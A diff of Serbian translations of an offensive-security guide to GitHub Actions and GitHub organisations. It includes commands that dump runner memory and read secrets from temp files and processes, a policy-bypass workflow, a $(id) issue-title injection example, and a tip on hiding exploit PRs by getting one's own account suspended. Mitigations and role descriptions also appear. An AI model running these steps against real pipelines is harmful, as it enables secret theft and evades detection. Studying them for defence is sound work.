Ako drugi repos koriste **dependencies from this user repos**, attacker će moći da ih hijackuje. Ovde imate detaljnije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Ako drugi repositories koriste **dependencies from this user repos**, napadač će moći da ih hijackuje. Ovde imate detaljnije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> U ovom odeljku govorićemo o tehnikama koje bi omogućile da **pivot from one repo to another** pod pretpostavkom da imamo neki pristup prvom (pogledajte prethodni odeljak).
|
||||
> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile da se **pivot from one repo to another** pod pretpostavkom da imamo neki oblik pristupa prvom (pogledajte prethodni odeljak).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
Cache se održava između **wokflow runs in the same branch**. To znači da ako attacker **compromise** paket koji se potom skladišti u cache i bude **downloaded** i izvršen od strane **more privileged** workflow, on će moći i da **compromise** i taj workflow.
|
||||
Cache se održava između **workflow runs in the same branch**. To znači da ako napadač uspe da **compromise** neki **package** koji se zatim skladišti u cache i bude **downloaded** i izvršen od strane **more privileged** workflow, moći će da **compromise** i taj workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Workflows mogu koristiti **artifacts from other workflows and even repos**; ako attacker uspe da **compromise** Github Action koja **uploads an artifact** koja se kasnije koristi u drugom workflow-u, on bi mogao **compromise the other workflows**:
|
||||
Workflows mogu koristiti **artifacts from other workflows and even repos**; ako napadač uspe da **compromise** Github Action koji **uploads an artifact** koji se kasnije koristi u drugom workflow-u, mogao bi **compromise the other workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -433,9 +433,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
Kao što je objašnjeno u [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), čak i ako repozitorijum ili organizacija ima politiku koja ograničava upotrebu određenih actions, attacker može jednostavno da download-uje (`git clone`) action unutar workflow-a i potom ga referencira kao local action. Pošto politike ne utiču na lokalne puteve, **the action will be executed without any restriction.**
|
||||
Kao što je komentarisano u [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), čak i ako repository ili organizacija ima politiku koja ograničava upotrebu određenih actions, napadač može jednostavno download (`git clone`) action unutar workflow-a i zatim ga referencirati kao local action. Pošto policies ne utiču na lokalne putanje, **the action will be executed without any restriction.**
|
||||
|
||||
Primer:
|
||||
Example:
|
||||
|
||||
---
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
@@ -458,7 +460,7 @@ path: gha-hazmat
|
||||
```
|
||||
### Pristup AWS i GCP preko OIDC
|
||||
|
||||
Pogledajte sledeće stranice:
|
||||
Check the following pages:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -470,13 +472,13 @@ Pogledajte sledeće stranice:
|
||||
|
||||
### Pristup secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
Ako ubacujete sadržaj u skriptu, interesantno je znati kako možete pristupiti secrets:
|
||||
Ako ubacujete sadržaj u script, zanimljivo je znati kako možete pristupiti secrets:
|
||||
|
||||
- Ako je secret ili token postavljen kao **environment variable**, njima se može direktno pristupiti kroz okruženje koristeći **`printenv`**.
|
||||
- Ako je secret ili token postavljen kao **environment variable**, može se direktno pristupiti kroz environment koristeći **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ispis secrets u Github Action output</summary>
|
||||
<summary>Prikaži secrets u Github Action output</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -503,7 +505,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dobijte reverse shell pomoću secrets</summary>
|
||||
<summary>Dobijte reverse shell koristeći secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -526,15 +528,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- Ako se secret koristi **direktno u izrazu**, generisani shell skript se čuva **na disku** i dostupan je.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- Za JavaScript actions, secrets se šalju putem environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
- Za **custom action**, rizik može varirati u zavisnosti od toga kako program koristi secret koji je dobio iz **argumenta**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -566,23 +568,23 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
|
||||
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### Zloupotreba Self-hosted runners
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
Način da se pronađe koje **Github Actions se izvršavaju u non-github infrastrukturi** je da se pretraži **`runs-on: self-hosted`** u Github Action konfiguracionom yaml-u.
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
**Self-hosted** runners mogu imati pristup **dodatno osetljivim informacijama**, drugim **network systems** (vulnerable endpoints in the network? metadata service?) ili, čak i ako su izolovani i uništeni, **više od jedne action može biti pokrenuto istovremeno** i zlonamerna može **steal the secrets** druge.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
U self-hosted runner-ima je takođe moguće dobiti **secrets from the \_Runner.Listener**\_\*\* process\*\* koji će sadržati sve secrets of the workflows u bilo kom koraku dumping its memory:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Pogledajte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registar
|
||||
### Github Docker Images Registry
|
||||
|
||||
Moguće je napraviti Github actions koji će **izgraditi i sačuvati Docker image unutar Github-a**.\
|
||||
Primer se može naći u sledećem proširivom bloku:
|
||||
Moguće je kreirati Github actions koji će **izgraditi i sačuvati Docker image unutar Github-a**.\\
|
||||
Primer se može naći u sledećem proširivom elementu:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -617,29 +619,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Kao što možete videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
|
||||
Kao što možete videti u prethodnom kodu, Github registry je hostovan u **`ghcr.io`**.
|
||||
|
||||
Korisnik sa dozvolama za čitanje nad repozitorijumom moći će da preuzme Docker Image koristeći personal access token:
|
||||
Korisnik sa read permissions nad repom će onda moći da preuzme Docker Image koristeći personal access token:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Zatim, korisnik može pretražiti za **leaked secrets in the Docker image layers:**
|
||||
Zatim, korisnik bi mogao da pretraži **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Osetljive informacije u Github Actions logovima
|
||||
### Osetljivi podaci u Github Actions logovima
|
||||
|
||||
Čak i ako **Github** pokuša **detektovati secret values** u logovima akcija i **sprečiti njihovo prikazivanje**, **drugi osetljivi podaci** koji su mogli biti generisani tokom izvršavanja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Čak i ako **Github** pokuša da **detect secret values** u actions logovima i **avoid showing** njih, **drugi osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom neće biti sakriven osim ako nije [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Sakrivanje tragova
|
||||
## Skrivanje tragova
|
||||
|
||||
(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji se podigne je jasno vidljiv javnosti na Github i ciljnom GitHub nalogu. Na GitHub-u po defaultu, mi **ne možemo izbrisati PR sa interneta**, ali postoji trik. Za Github naloge koji su **suspendovani** od strane Github-a, svi njihovi **PRs are automatically deleted** i uklanjaju se sa interneta. Dakle, da biste sakrili svoju aktivnost morate ili da vam se **GitHub account suspenduje ili da vam nalog bude flagged**. To bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR)
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki podignuti PR je jasno vidljiv javnosti na Github i ciljanom GitHub nalogu. Na GitHub-u po defaultu ne možemo obrisati PR sa interneta, ali postoji caka. Za Github naloge koje je GitHub **suspendovao**, svi njihovi **PRs are automatically deleted** i uklanjaju se sa interneta. Dakle, da biste sakrili svoju aktivnost morate ili da vam se **GitHub account suspended or get your account flagged**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini ukloniti sve vaše exploit PR)
|
||||
|
||||
Organizacija na GitHub-u je veoma proaktivna u prijavljivanju naloga GitHub-u. Sve što treba da uradite je da podelite “some stuff” u Issue i oni će se pobrinuti da vam nalog bude suspendovan za 12 sati :p i eto — vaš exploit postaje nevidljiv na GitHub-u.
|
||||
|
||||
> [!WARNING]
|
||||
> Jedini način da organizacija otkrije da je bila meta je da pregleda GitHub logove iz SIEM-a jer će iz GitHub UI PR biti uklonjen.
|
||||
> Jedini način da organizacija otkrije da je bila meta je da proveri GitHub logs iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## Razumevanje rizika
|
||||
|
||||
GitHub Actions renderuje izraze ${{ ... }} pre nego što se korak izvrši. Renderovana vrednost se zalepi u program koraka (za run korake, shell skripta). Ako interpolirate nepouzdani ulaz direktno unutar run:, napadač kontroliše deo shell programa i može izvršavati proizvoljne komande.
|
||||
GitHub Actions renderuje izraze ${{ ... }} pre nego što se korak izvrši. Renderovana vrednost se ubacuje u program koraka (za run korake, shell skripta). Ako interpolirate nepouzdan ulaz direktno unutar run:, napadač kontroliše deo shell programa i može izvršavati proizvoljne komande.
|
||||
|
||||
Dokumentacija: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions i contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Ključne tačke:
|
||||
- Renderovanje se događa pre izvršenja. Run skripta se generiše sa svim razrešenim izrazima, pa se potom izvršava kroz shell.
|
||||
- Mnogi contexts sadrže polja koja korisnik kontroliše u zavisnosti od događaja koji pokreće workflow (issues, PRs, comments, discussions, forks, stars, itd.). Pogledajte referencu za untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting unutar run: nije pouzdana odbrana, jer se injekcija dešava u fazi renderovanja templata. Napadači mogu probiti navodnike ili ubaciti operatore putem specijalno oblikovanog ulaza.
|
||||
- Renderovanje se dešava pre izvršenja. Skripta koja se pokreće u run koraku se generiše sa svim razrešenim izrazima, a zatim je izvršava shell.
|
||||
- Mnogi contexts sadrže polja pod kontrolom korisnika u zavisnosti od događaja koji pokreće (issues, PRs, comments, discussions, forks, stars, itd.). Pogledajte referencu o nepouzdanom ulazu: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Quoting u shell-u unutar run: nije pouzdana odbrana, jer se injekcija dešava u fazi renderovanja šablona. Napadači mogu probiti navodnike ili ubaciti operatore putem pažljivo sastavljenog unosa.
|
||||
|
||||
## Ranljiv obrazac → RCE na runneru
|
||||
## Ranljiv obrazac → RCE na runner-u
|
||||
|
||||
Ranljiv workflow (pokreće se kada neko otvori novi issue):
|
||||
```yaml
|
||||
@@ -36,20 +36,20 @@ with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Ako napadač otvori issue naslovljen $(id), renderovani step postaje:
|
||||
Ako napadač otvori issue sa naslovom $(id), renderovani step postaje:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
Command substitution izvršava id na runneru. Primer izlaza:
|
||||
Zamena komande izvršava id na runneru. Primer izlaza:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Zašto citiranje ne štiti:
|
||||
- Izrazi se prvo evaluiraju, a zatim se izvršava dobijeni skript. Ako nepouzdana vrednost sadrži $(...), `;`, `"`/`'`, ili novi redovi, može izmeniti strukturu programa uprkos vašem citiranju.
|
||||
- Izrazi se prvo evaluiraju, zatim se izvršava dobijena skripta. Ako nepouzdana vrednost sadrži $(...), `;`, `"`/`'` ili prelome reda (newlines), može promeniti strukturu programa uprkos vašem citiranju.
|
||||
|
||||
## Siguran obrazac (shell variables via env)
|
||||
|
||||
Ispravno rešenje: kopirajte nepouzdani unos u environment variable, zatim koristite native shell expansion ($VAR) u run skripti. Ne ponovo ugrađujte sa ${{ ... }} unutar komande.
|
||||
Ispravna mitigacija: kopirajte nepouzdani ulaz u environment variable, zatim koristite native shell expansion ($VAR) u run skripti. Nemojte ponovo umetati sa ${{ ... }} unutar komande.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
@@ -62,29 +62,29 @@ TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
Napomene:
|
||||
- Izbegavajte upotrebu ${{ env.TITLE }} inside run:. To ponovo uvodi template rendering nazad u komandu i stvara isti rizik od injekcije.
|
||||
- Preferirajte prosleđivanje nepouzdanih inputa putem env: mapping i referencirajte ih sa $VAR in run:.
|
||||
|
||||
## Površine koje korisnik može pokrenuti (smatrati nepouzdanim)
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Nalozi koji imaju samo dozvolu za čitanje na javnim repozitorijumima i dalje mogu pokrenuti mnogo događaja. Svako polje u kontekstima izvedenim iz ovih događaja treba smatrati pod kontrolom napadača osim ako se ne dokaže suprotno. Primeri:
|
||||
Nalozi sa samo read permission na public repositories i dalje mogu pokrenuti mnoge event-e. Svako polje u kontekstima izvedenim iz ovih event-a mora se smatrati kontrolisanim od strane napadača, osim ako se ne dokaže suprotno. Primeri:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs mogu ograničiti discussions)
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (opasno ako se pogrešno koristi, pokreće se u kontekstu base repo)
|
||||
- fork (bilo ko može fork-ovati javne repozitorijume)
|
||||
- pull_request_target (dangerous if misused, runs in base repo context)
|
||||
- fork (anyone can fork public repos)
|
||||
- watch (starring a repo)
|
||||
- Indirektno preko workflow_run/workflow_call lanaca
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
|
||||
Koja tačno polja su pod kontrolom napadača zavisi od događaja. Pogledajte GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
Koja specifična polja su attacker-controlled zavisi od event-a. Pogledajte GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Praktični saveti
|
||||
## Practical tips
|
||||
|
||||
- Smanjite korišćenje expressions unutar run:. Preferirajte env: mapiranje + $VAR.
|
||||
- Ako morate transformisati ulaz, uradite to u shellu koristeći bezbedne alate (printf %q, jq -r, itd.), i dalje polazeći od shell promenljive.
|
||||
- Budite posebno oprezni pri interpolaciji imena grana, naslova PR-a, korisničkih imena, labela, naslova diskusija i PR head refs u skripte, argumente komandne linije ili putanje fajlova.
|
||||
- Za reusable workflows i composite actions primenite isti obrazac: mapirajte u env pa referencirajte $VAR.
|
||||
- Minimizirajte korišćenje expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- Ako morate transformisati input, uradite to u shell-u koristeći sigurne alate (printf %q, jq -r, itd.), pri čemu i dalje počinjete od shell promenljive.
|
||||
- Budite posebno oprezni pri interpolaciji branch names, PR titles, usernames, labels, discussion titles i PR head refs u skripte, komandne flagove ili putanje fajlova.
|
||||
- Za reusable workflows i composite actions primenite isti obrazac: mapirajte u env pa onda referencirajte $VAR.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -2,155 +2,155 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Osnovna struktura
|
||||
|
||||
Osnovna struktura Github okruženja velike **kompanije** je da poseduje jedno **enterprise** koje poseduje **nekoliko organizations** i svaka od njih može sadržati **nekoliko repositories** i **nekoliko teams.** Manje kompanije mogu imati samo **jednu organization i bez enterprises**.
|
||||
Osnovna struktura Github okruženja velike **kompanije** je da poseduje **enterprise** koji poseduje **više organizacija**, a svaka od njih može sadržati **više repositories** i **više timova.** Manje kompanije mogu imati samo **jednu organizaciju i bez enterprise-a**.
|
||||
|
||||
Iz ugla korisnika, jedan **user** može biti **member** različitih enterprises i organizations. Unutar njih korisnik može imati **različite enterprise, organization i repository role**.
|
||||
Iz ugla korisnika, jedan **user** može biti **član** različitih enterprise-a i organizacija. Unutar njih korisnik može imati **različite enterprise, organization i repository uloge**.
|
||||
|
||||
Pored toga, korisnik može biti **deo različitih teams** sa različitim enterprise, organization ili repository rolama.
|
||||
Pored toga, korisnik može biti **deo različitih timova** sa različitim enterprise, organization ili repository ulogama.
|
||||
|
||||
I na kraju, **repositories mogu imati specijalne mehanizme zaštite**.
|
||||
I na kraju, **repositories mogu imati posebne mehanizme zaštite**.
|
||||
|
||||
## Privileges
|
||||
## Privilegije
|
||||
|
||||
### Enterprise Roles
|
||||
### Enterprise uloge
|
||||
|
||||
- **Enterprise owner**: Osobe sa ovom ulogom mogu **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Međutim, oni **ne mogu pristupiti organization settings ili content** osim ako nisu postavljeni kao organization owner ili im nije dat direktan pristup repository u vlasništvu organization.
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
- **Enterprise owner**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar enterprise-a, upravljati enterprise podešavanjima, i nametati politiku preko organizacija**. Međutim, oni **ne mogu pristupiti organization podešavanjima ili sadržaju** osim ako im nije dodeljena organization owner uloga ili direktan pristup repository-ju koji poseduje organizacija.
|
||||
- **Enterprise members**: Članovi organizacija koje poseduje vaše enterprise su takođe **automatski članovi enterprise-a**.
|
||||
|
||||
### Organization Roles
|
||||
### Organization uloge
|
||||
|
||||
U jednoj organization korisnici mogu imati različite uloge:
|
||||
U organizaciji korisnici mogu imati različite uloge:
|
||||
|
||||
- **Organization owners**: Organization owners imaju **complete administrative access to your organization**. Ovu ulogu treba ograničiti, ali ne na manje od dve osobe u vašoj organization.
|
||||
- **Organization members**: **Default**, ne-administrativna uloga za **ljude u organization** je organization member. Po default-u, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers su korisnici koji mogu **manage the billing settings for your organization**, kao što su informacije o plaćanju.
|
||||
- **Security Managers**: Ovo je uloga koju organization owners mogu dodeliti bilo kojem timu u organization. Kada se primeni, daje svakom članu tima dozvole da **manage security alerts and settings across your organization, as well as read permissions for all repositories** u organization.
|
||||
- Ako vaša organization ima security team, možete koristiti security manager ulogu da članovima tima date najmanje privilegije koje su im potrebne u organization.
|
||||
- **Github App managers**: Da bi dodatni korisnici mogli **manage GitHub Apps owned by an organization**, owner im može dodeliti Github App manager permissions.
|
||||
- **Outside collaborators**: Outside collaborator je osoba koja ima **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
- **Organization owners**: Organization owners imaju **potpun administrativni pristup vašoj organizaciji**. Ovu ulogu treba ograničiti, ali na najmanje dve osobe u vašoj organizaciji.
|
||||
- **Organization members**: **Podrazumevana**, ne-administrativna uloga za **ljude u organizaciji** je organization member. Po default-u, organization members **imaju niz dozvola**.
|
||||
- **Billing managers**: Billing managers su korisnici koji mogu **upravljati billing podešavanjima vaše organizacije**, kao što su podaci o plaćanju.
|
||||
- **Security Managers**: To je uloga koju organization owners mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju security alerts i podešavanjima kroz vašu organizaciju, kao i read dozvole za sve repositories** u organizaciji.
|
||||
- Ako vaša organizacija ima security tim, možete koristiti security manager ulogu da članovima tima date najmanje potrebne pristupe organizaciji.
|
||||
- **Github App managers**: Da biste dozvolili dodatnim korisnicima da **upravljaju GitHub Apps koje poseduje organizacija**, owner im može dodeliti GitHub App manager dozvole.
|
||||
- **Outside collaborators**: Outside collaborator je osoba koja ima **pristup jednom ili više organization repositories ali nije eksplicitno član organizacije**.
|
||||
|
||||
Možete **compare the permissions** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
### Privilegije članova
|
||||
|
||||
U _https://github.com/organizations/\<org_name>/settings/member_privileges_ možete videti **permissions koje korisnici imaju samo zato što su deo organization**.
|
||||
U _https://github.com/organizations/\<org_name>/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**.
|
||||
|
||||
Podešavanja ovde će odrediti sledeće dozvole članova organization:
|
||||
Podešavanja ovde indiciraju sledeće dozvole članova organizacije:
|
||||
|
||||
- Biti admin, writer, reader ili bez dozvole nad svim organization repos.
|
||||
- Da li članovi mogu kreirati private, internal ili public repositories.
|
||||
- Da li je forking repositories moguć
|
||||
- Da li je moguće pozivati outside collaborators
|
||||
- Da li se public ili private sites mogu objavljivati
|
||||
- Dozvole koje admins imaju nad repositories
|
||||
- Da li članovi mogu kreirati nove teams
|
||||
- Da li je moguće fork-ovati repositories.
|
||||
- Da li je moguće pozivati outside collaborators.
|
||||
- Da li se public ili private sajtovi mogu objavljivati.
|
||||
- Dozvole koje admini imaju nad repositories.
|
||||
- Da li članovi mogu kreirati nove timove.
|
||||
|
||||
### Repository Roles
|
||||
### Repository uloge
|
||||
|
||||
Po default-u repository role su kreirane:
|
||||
Po default-u repository uloge su kreirane:
|
||||
|
||||
- **Read**: Preporučeno za **non-code contributors** koji žele da pregledaju ili diskutuju projekat
|
||||
- **Triage**: Preporučeno za **contributors koji treba da proaktivno upravljaju issues i pull requests** bez write pristupa
|
||||
- **Write**: Preporučeno za contributors koji **aktivno push-uju u projekt**
|
||||
- **Maintain**: Preporučeno za **project managers koji treba da upravljaju repository** bez pristupa osetljivim ili destruktivnim akcijama
|
||||
- **Admin**: Preporučeno za ljude kojima treba **full access to the project**, uključujući osetljive i destruktivne akcije kao što su upravljanje bezbednošću ili brisanje repository
|
||||
- **Read**: Preporučeno za **non-code contributors** koji žele da pregledaju ili diskutujutu o projektu
|
||||
- **Triage**: Preporučeno za **contribute-ere koji treba da proaktivno upravljaju issues i pull requests** bez write pristupa
|
||||
- **Write**: Preporučeno za contribute-ere koji **aktivno push-uju u projekat**
|
||||
- **Maintain**: Preporučeno za **project menadžere koji treba da upravljaju repository-jem** bez pristupa osetljivim ili destruktivnim akcijama
|
||||
- **Admin**: Preporučeno za osobe kojima treba **potpun pristup projektu**, uključujući osetljive i destruktivne akcije kao što su upravljanje bezbednošću ili brisanje repository-ja
|
||||
|
||||
Možete **compare the permissions** svake role u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Možete **uporediti dozvole** svake uloge u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Takođe možete **create your own roles** u _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Takođe možete **kreirati sopstvene uloge** u _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
### Timovi
|
||||
|
||||
Možete **list the teams created in an organization** u _https://github.com/orgs/\<org_name>/teams_. Imajte na umu da da biste videli teams koji su children drugih teams morate pristupiti svakom parent team-u.
|
||||
Možete **listati timove kreirane u organizaciji** na _https://github.com/orgs/\<org_name>/teams_. Imajte na umu da da biste videli timove koji su deca drugih timova morate pristupiti svakom parent timu.
|
||||
|
||||
### Users
|
||||
### Korisnici
|
||||
|
||||
Korisnici jedne organization mogu biti **listed** u _https://github.com/orgs/\<org_name>/people._
|
||||
Korisnici organizacije mogu biti **listani** u _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
U informacijama o svakom user-u možete videti **teams the user is member of**, i **repos the user has access to**.
|
||||
U informacijama za svakog korisnika možete videti **timove čiji je korisnik član**, i **repos koje korisnik ima pristup**.
|
||||
|
||||
## Github Authentication
|
||||
## Github autentifikacija
|
||||
|
||||
Github nudi različite načine da se autentifikujete na vaš account i izvršavate akcije u vaše ime.
|
||||
Github nudi različite načine da se autentifikujete na svoj nalog i izvršavate akcije u vaše ime.
|
||||
|
||||
### Web Access
|
||||
### Web pristup
|
||||
|
||||
Pristupanjem **github.com** možete se prijaviti koristeći **username and password** (i eventualno **2FA**).
|
||||
Pristupanjem **github.com** možete se prijaviti koristeći **username i password** (i potencijalno **2FA**).
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
Možete konfigurisati vaš account sa jednim ili više public keys koje omogućavaju odgovarajućem **private key da izvršava akcije u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Možete konfigurisati svoj nalog sa jednim ili više public keys koji omogućavaju povezanom **private key-ju da izvršava akcije u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
Ne možete **impersonate the user with these keys** ali ako ih ne koristite može se dogoditi da budete otkriveni za slanje commits bez potpisa. Saznajte više o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Ne možete **podsvesno predstavljati korisnika pomoću ovih ključeva**, ali ako ih ne koristite može se desiti da budete **otkriveni zbog slanja commits bez potpisa**. Saznajte više o [vigilant mode ovde](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Možete generisati personal access token da **date aplikaciji pristup vašem account-u**. Prilikom kreiranja personal access token korisnik treba da **specify** **permissions** koje će token imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Možete generisati personal access token da **date aplikaciji pristup vašem nalogu**. Prilikom kreiranja personal access token-a **user** mora **navesti** **dozvole** koje će **token** imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth applications mogu tražiti dozvole **to access part of your github information or to impersonate you** da izvrše neke akcije. Uobičajen primer ove funkcionalnosti je dugme **login with github** koje možete naći na nekim platformama.
|
||||
